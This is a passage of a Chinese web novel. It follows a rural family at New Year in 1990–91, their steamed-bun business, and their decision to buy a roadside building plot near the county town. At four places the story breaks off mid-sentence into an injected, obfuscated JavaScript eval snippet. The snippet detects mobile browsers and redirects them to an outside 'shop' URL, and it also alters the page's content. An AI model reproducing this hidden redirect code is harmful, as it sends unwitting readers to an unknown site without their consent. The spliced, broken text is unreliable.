冬天缓慢地朝前走。霜冻的田野里,土地被翻耕,种上了小麦和油菜。路边的白杨落尽了树叶,枯瘦的枝干伸向天空。下过一两场雪之后,便到了腊月。村庄里开始有人杀猪、做腊肉腊肠了。 这也是农村人一年当中油水最足的时节,家里有了新鲜猪肉、猪血、猪下水,主妇们使出浑身解数,轮换着做了吃。杀猪匠们则穿着油腻腻的围裙,抬着涮猪桶,在各家各户轮流宰杀年猪。轮到杀谁家的猪,便在谁家吃杀猪饭。 喻庆山家的猪,今年养得格外的肥,都快四百斤了,比左邻右舍的猪重了一百来斤。就连杀猪的师傅都惊叹,他在各村走了这么多年,没见过这么肥的。刘瑞英听了满脸笑容,别人家的猪吃的是野菜,她家的猪吃的是麦麸和豆渣,能不肥吗?不止猪肥,鸡和鸭也肥。今年可以过个肥年了。 杀猪这天,喻庆山把秀竹也接回家了。几个人忙里忙外,烧火做饭,又把喻庆海两口子请来吃杀猪饭。蒸屉里蒸了一大格粉蒸肉,肉下面垫的是经了霜的青菜,吃起来份外香甜。还有炒猪血、炒猪肝、炒五花肉。半年不见肉星子,人们简直像饿狼,闻到粉蒸肉的香气就直咽口水,看到肉了眼里就放绿光。 师傅们吃饱喝足,趁着月色往家里赶。喻庆海和蒋士芳也打着饱嗝告辞。直到这时,秀水才骑车回到家。刘瑞英忙揩抹桌子,收拾干净了,把单给女儿留的菜端出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等她骑车回到家,秀竹已经回学校了,秀水和喻庆山正在吃晚饭。喻庆山帮她把自行车搬进屋,秀水盛了碗饭递给她,碰到她的手时,像碰着了一块冰。虽然吹了一路冷风,刘瑞英心情却很好,吃饭时有说有笑的,秀水便把心里的话都忍了下去。 父母和子女的缘份,有时很深厚,有时也很浅薄。上辈子她和刘瑞英一样,都是家里不被疼爱的那一个孩子。有时秀水会给父母找各种理由,或许他们不是不爱自己,而是生活太难了、子女太多了,又或者还有其他迫不得已的缘故。但现在她经过了,见过了,所以知道,事实并不是这样的。并不是所有父母都会爱自己的孩子,更不是所有父母都爱自己的所有孩子。 但是刘瑞英又做错了什么呢?她不过是贪恋父母的那点温情,希望得到两句夸奖,就像小时候那样。你是大姐,要让着弟弟妹妹,所以家里的糖果你不能吃;你是大姐,要体谅父母的不易,所以成绩再好也别去读书了;你是大姐,要心疼弟弟,所以好衣服好鞋子要留给他穿……久而久之,她习惯了为那个家奉献,只需要父亲和母亲面带自豪地夸一句“我们老大最孝顺懂事了”。 秀水有多心疼刘瑞英,就有多厌恶外公外婆那一家子。因为上一世,她也是亲生父母和养父母的血包。但血包也有血包的快乐,现在,她妈脸上的笑容让她无从开口,或许这是个死结,一直要持续到刘瑞英看清世间的真相为止。 18. 第 18 章 腊月上旬怀安县一中就考了试,放了假。但喻秀竹直到春节前十天才从学校回来。一中的学生寒假都要补课的,她又从普通班调到了快班,放假更是特别晚。 上高中的这半年里,秀竹长高了,也变白净了。因为这学期的期末考试进了全校前十,她对自己也恢复了信心。当她把成绩单拿回家时,喻庆山和刘瑞英喜出望外,各自都觉得当初的选择很英明。他们老喻家,很可能要出一个大学生了!全红英大队第一个大学生! 不过刘瑞英当然没有声张。她对小女儿的成绩守口如瓶,毕竟没到上大学的那一天,一切都有变数。何必多嘴多舌在村里炫耀?万一到时考差了,岂不是又惹人嘲笑? 村里人都在忙忙碌碌地筹备春节。过年是一年当中的大事,再穷苦,一家老小总要添点新衣裳的。各家都请了裁缝来做衣服,刘瑞英自然也要请的。 裁缝姓田,每到腊月,便用车拖着他的缝纫机,在各村挨家挨户地量体裁衣。每到一村,村民们便闻风而至,商量着今天到你家,明天到他家。轮到给谁家做衣服,田裁缝吃住便在那一家,日夜不停地干活。 腊月二十一的晚上,田裁缝终于到了喻庆山家时。他给全家人都细细地量了尺寸,并把数字仔细地记在一个小本子上。然后刘瑞英拿出自己珍藏的布料,先给秀水和秀竹挑选,“你们要哪个颜色?” 其实也没有太多颜色可供选择,最终秀水挑了灰的,秀竹挑了蓝的。几人又商量款式,衣服的款式也没什么可挑的。时下流行小西装领口,田裁缝便给两个女孩都做了这种领子的外套。冬天可以罩在棉袄外头,等天暖和了,穿在衬衣外面,就成了春秋外套。 田裁缝在喻家住了四晚,紧赶慢赶地做了四套新衣服,家里一人一套,随后就被别的村民接走了。新衣服很合身,只是明显没有工业品那么时尚鲜亮。秀水照镜子时,很是搞不动为什么后来的人那么崇尚手工缝制,并尊之为高端定制。 新衣服试穿过后,就被刘瑞英珍重地叠起来,放进了箱子里。要等新年的第一天,出去拜年时才会拿出来穿,否则弄脏污了可就不好了。 随着新年将近,包子生意也迎来了前所未有的火爆。本来么,过年前家家户户都要蒸馒头蒸包子的,但城里人有的人嫌自己手艺不好,有的人家里没有大锅大灶,便直接从街上购买。秀水在县城做了这么长时间的买卖,大家都知道她家包子好吃,拿出来待客也好看,这段时间便有好多人找她,一订就是三四十个包子。 现在喻庆山和刘瑞英已经没时间下地了。最赶紧的那几天,还把喻庆海两口子也请过来,四个人从早到晚地磨豆子、做豆腐、蒸包子。秀竹和姐姐则骑着车在城里四处送货,每天都是清早出门,天黑才回。 年底喻庆海的子女们从外地打工回来,在家闲着没事,也加入了做包子的大军。喻家大儿子秀明前两年刚结婚,是个很精神的小伙子。今年和媳妇玉贞、妹妹秀真都在大姑爹的工地上帮忙。三个人一年上头能挣回来几千块钱,在农村已经非常让人眼热了。但秀明和秀真跟着做了两天包子,发现小叔家的生意更让人眼热。 那一笼笼包子,跟流水似的哗哗地流出去了,也不知道卖去了哪里。虽然不知道卖了多少钱,可他们会数数啊。四个包子一块钱,稍微算算账,收入就出来了。 “小叔,小婶,包子生意天天都这么好吗?”中午吃饭时秀明问。 “这不是到了年底吗?”哪怕是自家亲侄儿,喻庆山也半吐半露,“平时哪有这样的生意!秀水能卖出去一箱包子就算是好的了。” “秀水变化真大,”秀真是从小和两个堂妹玩到大的,不由感叹,“以前出去买东西她都张不开嘴,现在倒敢出门做买卖了!” “都是被逼出来的,要不是出了那回子事……”刘瑞英不想再提,转而叹息,“不过也好,她这性格,出了门我也不怕她被人欺负了……” “就是!出门在外就得放泼辣点,”秀明的媳妇玉贞赞同道:“我看秀水这样挺好的。就连竹子都变得大方了好多!” 趁着春节前销量高,秀水还开发了荤豆腐包子。荤豆腐馅里掺了肉沫,油水更足更好吃,价格也高,一块钱两个。但是过年前是人们花钱最大方的时候,很多人都是荤馅素馅各买一半。 自家人吃素的,荤豆腐馅包子留着过年拿出来待客。 晚上全家人关起门来,在桌旁清点钞票时,秀水从随身小包里掏出一把把的钞票,喻庆山和刘瑞英都不敢相信自己的眼睛。他们心里慌慌的,又欢喜,又害怕。这辈子都没见过那么多钱!一天竟然能挣大几百! 大家坐在桌边,把钞票一张张抚平,分门别类地码整齐,一扎扎用皮筋捆好。刘瑞英把钱锁进柜子里,对丈夫小声说:“过完正月十五你就去买砖!咱们家也抓紧地把新房子盖起来!” 喻庆山洗着脚,盘算着家中存款,心里生出了以前绝不会有的念头,“要不,咱们也盖一栋二层小楼?一步到位,免得以后看人家盖楼房又眼热……” “好是好,”刘瑞英心动又犹豫,“就怕钱不够。可别为盖房子背一身的债。我可受够了还债的日子……” “谁家盖房不背债?慢慢还就是了。”喻庆山躺在床上,眼望着房顶思索,“明年要是还能像这样,就算背了债也不怕。” “这倒是,”刘瑞英反复回味着点钞时的感觉,意犹未尽道:“要是天天都像这几天的生意就好了……” 两口子在被窝里嘀咕着盖新房的事,兴奋得半夜睡不着觉。刚朦胧睡着,听到头遍鸡叫,忙又精神抖擞地起床磨豆浆去了。 直到腊月三十,大清早秀水还出去了一趟,给一户人家送去了四十个包子。到了中午,喻庆山打扫完屋子,贴了春联,刘瑞英和秀竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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春晚还没结束,刘瑞英和喻庆山就坐在桌边打起了盹。他们平时睡得早,已经不习惯熬夜了。秀水和秀竹倒是看得津津有味。这年头的春晚,舞台朴素,演员们也没那么多花里胡哨的服装,但节目是真好看啊。 直到村里送年的鞭炮声响起,才把打瞌睡的两人惊醒。刘瑞英睁着惺忪的睡眼问:“这么快就十二点了?” “是的,”秀水让她爸不要起身,自己跑去拿了鞭炮出门了。在黑暗的晒谷坪上,她铺开长长的鞭炮,用打火机点燃引线,鞭炮噼里啪啦地炸起来,跳跃的火光映亮了乡村一角。 鞭炮很快燃尽,秀水也没急着回屋。她听着远近的响声,呼吸着略带硝烟味的寒冷空气,忽然开口唱起了歌。 “妹妹你大胆地往前走啊,往前走,莫回呀头……” 这歌是唱给她自己听的,也是唱给另一个秀水听的。在一九九零年的最后一天,秀水终于正式向过往告别。时间如漠漠吹过的寒风,哪怕生活里有再多苦痛和嘲讽,它也注定不会为任何人停留。妹妹你大胆地往前走,只管走,莫回头,直到走出通天的大道,直到走至生命的尽头。 19. 第 19 章 大年初一的清早,刘瑞英难得睡到了八点钟。起床时喻庆山已经放了鞭、扫了地,并且带秀竹去给同村的喻家长辈们拜过年了。 新年新气象,喻庆山也收拾一新。他穿着新做的中山装、黑裤子,又刚剃过头发,显得年轻了好几岁。脚上的棉皮靴虽是两年前买的,却也刷得干干净净。在他紧赶慢催下,秀竹和刘瑞英吃完早饭,也穿上新衣服和他一起出门,去给哥哥喻庆海一家拜年。 临出发前,秀竹跑进卧室,凑在秀水耳边问:“姐,你真不去拜年啊?” 秀水含糊“唔”了一声,翻个身又睡了。刘瑞英便道:“让她睡!辛苦了那么久,过年就让她好好睡几天!” 三个人冒着寒风出门,在喻庆海家拜了年、吃了茶就回来了。秀竹把蒋士芳塞给她的压岁红包交给母亲。刘瑞英打开一看,竟然是个两张五元钱的钞票,显然蒋士芳是把没来的秀水也算上了。她连忙用红纸包了十块钱,预备等一会儿给秀真。 人情往来嘛,有来有去的,这样大家才会都高兴。 初一这天,喻家两兄弟照例是要去给大姐喻庆华拜年的。他们这一辈共有姐弟三人,母亲走得早,喻庆华又是长姐又当妈,弟兄俩跟她都亲。 村里人都说喻庆华命好,她嫁去另一个村,丈夫名叫周贵忠,家里弟兄多,本来穷得叮当响。没想到嫁过去几年后,周贵忠出门跟人四处干活儿。也不知怎么的,渐渐地就认识了一些工地老板。如今自己组了一支包工队,在全国各地干活儿。 这年头,包工头可不是好当的。首先要有揽活儿的门路,等活儿干完了,还得有拿到钱的手段。手底下带一帮汉子出门在外,出了什么意外也要摆得平。周贵忠为人外圆内方,脑瓜子活络,带人出去能挣到钱,在乡村算是非常厉害的人物了。 自打周贵忠当上包工头,村里原先瞧不起他家的人都巴结起来。九十年代农民挣钱的活路太少了,谁不想跟他挣几个外快?跟别人打工,还怕年底结不上工钱,跟同村的熟人去,就算结不了账,也不怕他跑了不是? 丈夫手里既然有活儿,喻庆华当然也要偏帮自家亲戚,因此秀明结婚后,她就让丈夫把小俩口带上了,去年甚至把秀真也带上了。工地上很少需要女人,秀真和嫂子在那边负责烧火做饭,做点轻省活计,这两年着实挣到钱了。也因如此,喻庆海两口子对大姐感激不尽,大年初一是必要去家里走动走动的。 喻庆山在家等了片刻,喻庆海也带着儿女们过来拜年了。刘瑞英忙把红包塞给秀真,自然免不了一阵拉扯。喝了两口茶,喻庆海便招呼大家出发。家里刘瑞英和秀水看门,一群人分骑几辆自行车,带着糖茶点心,浩浩荡荡朝喻庆华家出发了。 等他们都出了门,家里才算清静下来。刘瑞英也不来打扰,秀水一直睡到中午过后才起床。家里偶尔有同村的亲戚们来拜年,都是爷爷那辈的,平时走动少,只有过年时来往一下。来了也不坐,喝两口茶便走了。刘瑞英等女儿起床,这才把年夜饭的剩菜热了热,两人不紧不慢吃起了饭。 第二天是初二,刘瑞英带丈夫和小女儿去娘家拜年,又是一去一天,至晚方归。去的时候高高兴兴,回来后脸上又有些郁郁的。晚上姐妹俩临睡觉前,秀竹才忍不住悄悄和姐姐吐槽,外公外婆越老越过份了。原来今天刘家三姐弟都回娘家去拜年,去的三个孩子中,外公只给了两个男孩子压岁钱,还说女孩们都大了,以后压岁红包就免了。 “就跟谁希罕他的钱似的,”秀竹撇嘴,“年年给我们的压岁钱,最后不都转手舅舅家吗?” “那今年就不给刘子康压岁钱了呗,”秀水宽慰她:“反正来来去去的不过是个形式。” 虽然是形式,却也看得出来谁受重视,谁被轻视。刘瑞英真正生气的是,秀水虽然没出去拜年,喻庆海和喻庆华包红包时都没忘了她。偏是她自己的亲生爷娘,就连十五岁的秀竹都没给红包。说什么男孩子小,不就是看不起她生了两个女儿吗? 不过再恼火,过年也要和和气气的。睡了一觉起来,刘瑞英又欢欢喜喜地忙碌起来。因为这一天喻庆华、刘兰英和刘文强都要来他们家拜年了。 刘兰英跟姐姐处得最亲厚,大清早她就带着丈夫和儿女骑车过来拜年了。刘瑞英喜气洋洋迎出门去,把大家拉进堂屋烤火。看到刘兰英的大女儿伍爱娜时,眼前不由一亮。 伍爱娜比秀水小一岁,正是青春年少爱美的时候。大冬天里,她穿着新买的粉红色中长款棉袄,配上黑色健美裤,黑色皮鞋,衬得两条腿又细又长,十分明媚娇俏。 刘瑞英本来觉得自家两个女儿瘦瘦高高、模样儿又周正,已经很好看了。把伍爱娜一看,顿时就觉得秀水和秀竹的新外套有点土气。果然一分钱一分货,农村土裁缝做的衣服就是比不上街上卖的高级货。 她拉着伍爱娜的手说:“爱娜真是越大越好看了,这衣服真合身、真漂亮!” 伍爱娜便对大姨甜甜一笑,她生得极白皙,单眼皮柳叶眉,眉眼弯弯的,笑起来格外讨人喜欢。 “好看啥呀,”刘兰英在旁边痛心地说:“这棉袄薄薄的,我让她里头再穿一件小棉袄,她死活不肯!说不好看!冻病着了你就高兴了!” 刘瑞英摸了一把,果然那棉袄薄薄的,比不上自家做的棉袄厚实。伍爱娜的手冰冷,还犟嘴说:“我一点也不冷!大姨我不冷,刚坐自行车吹风了的!” 刘瑞英忙把人往火盆边带,说:“来烤烤火!烤一会儿就不冷了。”又回头招呼伍家小儿子伍爱今,“今子,你也进来烤火。” 十一岁的伍爱今却不怕冷。他长得黑壮,又穿了件半旧的黑棉袄,整个人都显得灰不溜秋,跟漂亮的姐姐天差地别。刘瑞英便看看妹妹,低声道:“你知道给爱娜买新衣裳,就不晓得给今子也买一件?” “我的姐姐,你是不知道!”刘兰英嫌弃道:“给他买衣裳,他也不知道爱惜!初一穿着新衣服出去拜年,回家就烂个洞。把我气得……” 客人们在堂屋烤火喝茶聊天,刘兰英便和姐姐去厨房,一边整治饭菜,一边聊天。看到刘瑞英眼下一片青黑,不由心疼道:“我昨天就想问,你是不是睡得太少了?虽说要挣钱,也要当心身体。” “没办法,年前订包子的人家太多了,”虽是抱怨,刘瑞英却止不住脸上的笑容,悄悄道:“我跟你姐夫一天才睡三四个小时。天天磨豆浆、蒸包子。年三十早上还蒸了两笼呢。” “挣了多少钱?”刘兰英神秘兮兮地凑过去。 “一个腊月挣了这个数,”刘瑞英比出一个手势,刘兰英迟疑道:“……这是百?千?我的天!” 刘瑞英忙朝她摆手,示意她低调。刘兰英却是欢喜起来。三姐弟中过去大姐家最穷,看来去年打了个翻身仗。 “姐,我正要告诉你一件事,”刘兰英剥着蒜说:“我们那边要修路了。从县城南门修一条马路,笔直地穿过我们村。等新马路修好,大伙儿进城就更方便了……” 刘兰英嫁在县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748981|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城南郊的小庙村。虽然都是农村,却比红英村富裕。因为那边离县城只有二十分钟的路程,村民们去县城卖菜或干活都很方便,像刘兰英就在县棉纺厂上班。 更让刘兰英高兴的是,据说等新马路修好了,还要在小庙村修一个长途客运站。 刘瑞英听了,也很惊喜,“就连车站也要建到你们村?那不是跟城里差不多了?” 刘兰英点头,“就算是农村,也跟城里差不多了。姐,你跟姐夫做这个包子生意,要是搬去我们那儿,光是路上就能节省四个钟头。有这个时间干点啥不好?正好我们村里划了地基,要往外头卖呢……” 刘瑞英怔住了,搬去外地?她可从来没想过这个问题,本能道:“那这边的田呢?搬过去了你们那边也没田种啊?” “你们过去卖包子啊,不是挺挣钱吗?” 刘兰英是真心希望姐姐搬过去,离自己近,姐妹俩走动也容易些。刘瑞英却仍是迟疑。两人正说着,秀水进来了,随口问:“聊什么呢?我刚才怎么模糊听说在卖地基?” 刘兰英又忙把修路的事情告诉她,秀水一听就兴奋了,这不是刚打瞌睡就有人递枕头吗?她去年到处打听,就想租房子搬家,可巧今年就来了好消息。 她忙说:“我正想买地基呢,姨妈,你们那儿地基都是多大的?怎么卖的?” 这可把刘兰英难住了,她看看姐姐,说:“想买的话,得问你姨爹。他天天在村里,对这事最清楚。” 刘瑞英则看着秀水,提醒她道:“姨妈那边人多地少,咱们要是搬过去,只能建房子,分不到地的。不种粮食,一家人吃什么喝什么?” 对农村人来说,有了土地才有扎根的地方。他们家在红英村有十来亩地,一年上头虽说挣不上什么钱,但是吃饱是不愁的。菜地里四季蔬菜不断,还能喂猪养鸡。搬到了那边,一分地也没有,难道以后要靠做包子为主业吗?她想想就心里发慌。 秀水却不以为意,“先买下来再说。妈,我在县城卖包子时,常听人说,咱们怀安县要撤县建市了。老城区绝对要往外扩,到时候姨妈那边不就变成城区了吗?咱们这是提前搬进城了啊。” 刘瑞英虽然一门心思想让子女进城,听了这话却并没有盲目乐观,“我几年前就听人说要建市,到现在也没建起来!况且搬进城也没有用,咱们吃的农业粮,又没有工作,在城里也呆不住。” “咱们买路边的地基啊,到时留两间房子做门面,”秀水怂恿道:“到时你跟我爸就在那边开早餐店,这不就有工作了吗?” 哪怕她描绘得天花乱坠,刘瑞英仍是疑虑重重。秀水却径直把姨爹伍为民也喊进来,几个人坐在厨房里,问起小庙村卖地基的事情。 伍为民的五叔是小庙村的书记,对村里的情况他最熟悉,他忙佐证了刘兰英的说法,新马路据说已经规划好了,多半过完年就要开工。马路边不光要修客运站,信用社的大楼也建在另一边。村里便趁此良机,划出一批地基来对外出售。 “地基有大有小,靠路边的最紧俏,听说卖得不便宜。你们如果想要,可得抓紧时间了。” 被他这一说,时间尤其紧迫起来了。刘瑞英还没开口,秀水便抢着道:“姨爹,你回去了就帮我们问问具体情况。明天正好我们过去拜年,就顺便去看看。” 伍为民答应了,眼睛却看着刘瑞英。他知道家里向来是她作主的。谁知这回刘瑞英不吭声,反是旁边的喻庆山说:“先去看看,看了再决定。” 20. 第 20 章 厨房里的几人正在说话,外面传来摩托车的轰鸣声,原来李贵忠骑车带着喻庆华来了。大家忙去堂屋相互拜年。过了一会儿,刘文强也带着老婆儿子来了,刘瑞英和喻庆山端上饭菜,一桌人挤挤挨挨地吃饭喝酒。 整顿饭的时间刘瑞英都心神不宁。饭后闲坐片刻,喻庆华两口子又去了喻庆海家,这是早就商定好的,晚饭在他家吃。刘文强也骑着摩托车带老婆儿子告辞。临走前还是喻庆山给老婆使眼色,刘瑞英才想起来压岁钱还没给,忙给三个孩子每人塞了五块钱压岁钱。大家约着明天都去小庙村给伍家拜年去,这才都散了。 家里重又清静下来。秀竹和喻庆山收拾干净饭桌,刘瑞英在火盆旁坐下,对秀水说:“你就那么想搬家?搬去小庙村有什么好的?” 秀水说:“瑞英同志,红英村离县城两个小时呢,我每天踩四个钟头自行车,很烦的!” 刘瑞英叹了口气,她当然知道女儿辛苦。可她也舍不得红英村这边。嫁过来快二十年,这个家是她一手操持起来的:菜园是她开垦的,屋旁的路是她垫的,屋后的树是她栽的,更何况还是十来亩田…… 秀水看她神情纠结,又说:“我们反正要盖新房,搬到那边,你跟爸开早餐店卖包子豆浆,当老板不好吗?” 刘瑞英当然知道,卖包子比种地强。她辛辛苦苦种了十几年地,还没有秀水卖半年包子挣的钱多。但即使是这样,刘瑞英也不觉得当个体户是个什么好出路。国家的政策说不准,前些年还不准人做小买卖呢,还到处打击投机倒把呢。万一哪天不准做包子了,到时他们一家人怎么办? “我不想当老板,当老板哪有种地稳定。”刘瑞英说。她年纪大了,过日子就图个安稳。现在的日子虽然辛苦,可她很满足。 “什么稳定?”秀水问:“穷得稳定吗?” 秀竹在旁边扑哧笑出声来,看父母和姐姐不像在开玩笑,忙又敛住了笑容。刘瑞英翻秀水一个白眼,知道自己说服不了她,便看向喻庆山。 喻庆山却说:“明天先去看看地基,打听打听价格再说。现在说这些都太早。” 刘瑞英便悻悻地住了口。直到秀水回房睡午觉,她才悄悄问丈夫:“怎么?你还真想搬家啊?” 喻庆山确实有些心动。不过他考虑的却是另外一件事。前天去喻庆华家,大家都说要给秀真介绍对象。农村女孩结婚早,秀真今年二十了,谈个对象正好可以明年结婚。 喻庆山却是由此想到秀水,心里有些发愁。过了年秀水也十八了,积极些的人家,早就要准备相看女婿了。但因为秀水去年闹出不少事,村里风言风语的,只怕她的婚事不会顺利。 他悄声把这个顾虑告诉老婆,刘瑞英顿时不作声了。要说她最后悔的,便是送秀水去当小保姆。非但没进城,反倒污了秀水的名声。现在村里说什么的都有。有人说秀水在城里被男人甩了,所以才变得疯疯癫癫;也有人猜测她认识什么城里的把头大哥,不然怎么卖包子这么久都没出过事…… 秀水每天早出晚归,听不到这些闲言碎语。刘瑞英却是有所耳闻,每每想起这些,都快气破胸膛,却又无可奈何。 她本来希望过两年大家淡忘了这件事,到时再请人给秀水介绍对象。如今被喻庆山一提,这才想到这事还有另外一个解决办法,那就是搬家。 到兰英那边买个新地基,建起新房子,到时让秀水去那边住,连户籍也转过去。有姨妈一家的照应,想来秀水也不会受欺负。这边的旧房子他们两口子住,忙时种田,等闲时也住过去做包子卖包子,这不是两不耽误吗? 反正他们盖新房本就是为了两个孩子。家里的旧房子拾掇拾掇,不是一样住人吗? 等秀水睡了个长长的午觉起来,刘瑞英便心平气和地说:“我跟你爸商量了,就依你的,搬去那边住。明天去了姨妈家,可要细细地看,定下了就不能反悔的!” 秀水午睡前也反省了自己,觉得略急燥了些。主要是她怕犹豫久了坐失良机。正想着晚上再做做父母的思想工作,没想到他们竟同意了。 “妈,你以后一定会为今天的决定而感到庆幸!”她欣喜地说。 秀竹也很开心,“好啊好啊,那我岂不是可以经常回家了?” “等路修好了,你甚至可以住在家里。小庙村离县一中也很近!”秀水说。 既然下定了决定,刘瑞英的心情便急迫起来,对喻庆山说:“明天我们早点去!可别耽误了,为民说了,路边的地基俏得很……” 一家人兴兴头头的,年初四清早就骑着车往刘兰英家赶。他们先骑到县城,又顺着朝南的那条路出城。就见南郊那边已经大变样了,原先有条弯弯曲曲的土路,路两边都是菜地。如今菜地和路全都平整到一起了。到处是挖机挖过的痕迹,崎岖不平反比以前难走。 刘瑞英四处打量,心里很失望,这看起来也不像城里啊,修路的事到底真的假的? 她瞅了秀水一眼,秀水却激动起来,“菜地都毁了,路上还用石灰划着白线,看来是真要把城区扩到这边来了……” 刘瑞英仔细一打量,果真如此,这才重振信心。一家人推着车,从破破烂烂的田野里穿过,到了刘兰英家。 伍家的房子是两年前盖的,前面两层小楼,后面带着厢房和院子。墙壁刷得雪亮,看着又干净又阔绰。进了门,喻庆山两口子先给伍为民的父母拜了年。伍老爹一边倒茶抓瓜籽,一边笑道:“路不好走是吧?等过了今年就好了。” “亲家公,修路的事确准了么?”喻庆山忙问。 “确准了!”伍老爹肯定道:“从去年就开始征地,忙了整半年,那还有假!” 刘瑞英则是进屋打过招呼就直奔厨房,秀水紧跟其后。厨房里刘兰英正在做饭,见她们进来,立刻小声道:“为民昨天连夜打听了,路旁边只剩三个地基了,其余都被人下了定金。等会儿吃了饭就带你们去看!” 刘瑞英一听就急了,“这么快?等会再吃饭,咱们现在就去看!” 刘兰英见姐姐这么着急,心里也欢喜,忙道:“等为民回来,让他带你们去。他早上带娜娜去看病了。” 原来伍爱娜昨天穿得太单薄,回来果然就着了凉,夜里发起烧来。伍为民大清早就带她去诊所看病,一去就是半日。大家只好在堂屋吃瓜籽闲聊,幸好过不多久,伍为民就载着伍爱娜回来了。 伍爱娜穿着鼓鼓囊囊的厚棉袄,有气无力地和大家打了声招呼,就要上楼睡觉去。刘兰英摸她额头,烧已经退了,便恨恨道:“我就说昨天穿少了,叫你多穿点,非不听!非要感冒才好!” 刘瑞英笑呵呵地劝解:“算了别说她了,哪个小姑娘不爱俏?你年轻时还不是一样!” 伍婆婆冲了个热水袋,护送孙女上楼去了,大家这才重新落座。伍为民见喻庆山和刘瑞英的心情都很迫切,便决定带大家先去看地基。 一群人朝村外走,到了田野上,伍为民指着地上两条南北向的白线说:“这就是新路,从县城往小庙村这边修,一直连通那边的省道。听说新路有六车道宽,是咱们县最宽的一条水泥路呢。” 说到这儿,他言谈中甚至带着浓浓自豪。几人穿过崎岖不平的田野,伍为民又把修客运站和信用社大楼的地方指给他们看,说:“村里人都晓得,房子盖在路边干什么都方便。所以地基一划好,就有人去村里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757981|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 付了定金。眼下就剩下三个了,我昨天来看了看,也都很不错。” 路边有些地基已经挖了地脚,散乱堆着红砖,看情形似乎很快就要开工。没卖出去的三个地基并不在一起,伍为民带他们逐个看过去,确实都在新路的旁边。有两块地基的面积一样,但离车站距离不同,所以一个售价两千二百元,另一个两千元。第三块地基面积最大,离车站最近,同时也最贵,要三千八百元。 “三千八?”刘瑞英和喻庆山震惊了,红英村连旧房子带地才卖两千多,一个地基上啥也没有,竟然敢卖三千八! 刘兰英也觉得贵,“去年还不是这个价钱呢。八百块一个地基还没人要。今年听说要修路盖车站,大家抢着买,价格就水涨船高了……” 要不是她家刚盖了房,手头实在没钱,她都想买一个。哪怕到时盖三间平房,卖卖杂货也是好的。 “怎么办?没想到光是地基就这么贵……”刘瑞英听了价格,顿时有点打退堂鼓了。 这边离城是近,可再近也是农村。如果光买地基就花这么一大笔钱,盖房子就不够了。 伍为民建议:“要不咱们再去看看那两块小的?” 秀水在最大的那块地基上走来走去,用脚步丈量尺寸。这块地的面积几乎是其他地基的1.5倍,她左看右看,十分满意,便朝伍为民喊:“姨爹,我们不要小的,就要这块。” 刘瑞英不作声,喻庆山也犹豫未决。秀水走过来说:“一分价钱一分货,那边两个小地基面宽只够盖三间瓦房,咱们这个够盖五间的。而且这块地的进深也比别的长。到时起厢房、盖厨房、留院子也都够宽敞,正适合咱们做包子。” 伍为民笑道:“秀水说得对。本来村里准备把这块地划成两块地基的,就因为前面稍微窄了点,才没有分开。要不是因为价钱高,早就被人买走了。“ 刘瑞英也觉得地方够宽绰,可……可那是三千八百块钱哪。要是房子盖在红英村,地基是不要钱的,这三千八不就省下了吗? “靠路边的就只有这三块了,”伍为民问:“里面还有几块,还看不看?不看就回家吃饭去!” 看完路边的,谁也不想再去看里面的地基。刘兰英便招呼大伙儿往家走。刚回去不久,刘文强也骑着摩托车,带老婆儿子来了。刘兰英忙去厨房一通忙活,端上来满当当一桌饭菜。除了生病的伍爱娜,大伙儿都围坐着吃起了午饭。 “今子哪儿去了?”秀竹一直没看到伍爱今,便问了一句。 “不用管他,那是个野人!”刘兰英说:“大清早就跑出去玩了,不饿他是不会回家的!” 刘瑞英心事重重,饭也吃得没情没绪,刘兰英便给姐姐搛菜,顺便劝道:“姐,这不是小事情,你们回去慢慢商量。不着急,先来吃饭!饭总要吃饱的!” 刘文强便问什么事,刘兰英忙把大姐一家想买地基的事情说了,最后又问:“你们想不想买?手里有余钱的话,也可以买了盖栋小房子,到时候把爸妈接过来住,离咱们都近……” 一语未了,便被伍为民打断,说:“喝酒喝酒!文强这新摩托可真漂亮,多少钱买的?” 刘文强的摩托车是去年新买的,闻言颇为自得,正准备卖弄一番,他老婆潘萍却笑了一声,不冷不热地说:“我们哪有钱买地基哦,日子过得紧紧巴巴的。不像大姐他们会挣钱。” 她这么一说,刘文强倒不便炫耀了。刘兰英听了心里不舒服,又不好反驳,只得笑道:“也对,你们刚买了新车,手头不宽裕也是有的……” 这时秀水却插了一句话,说:“姨妈,姨爹,咱们就买那块大的。舅妈不是说了吗?反正咱们会挣钱!” 21. 第 21 章 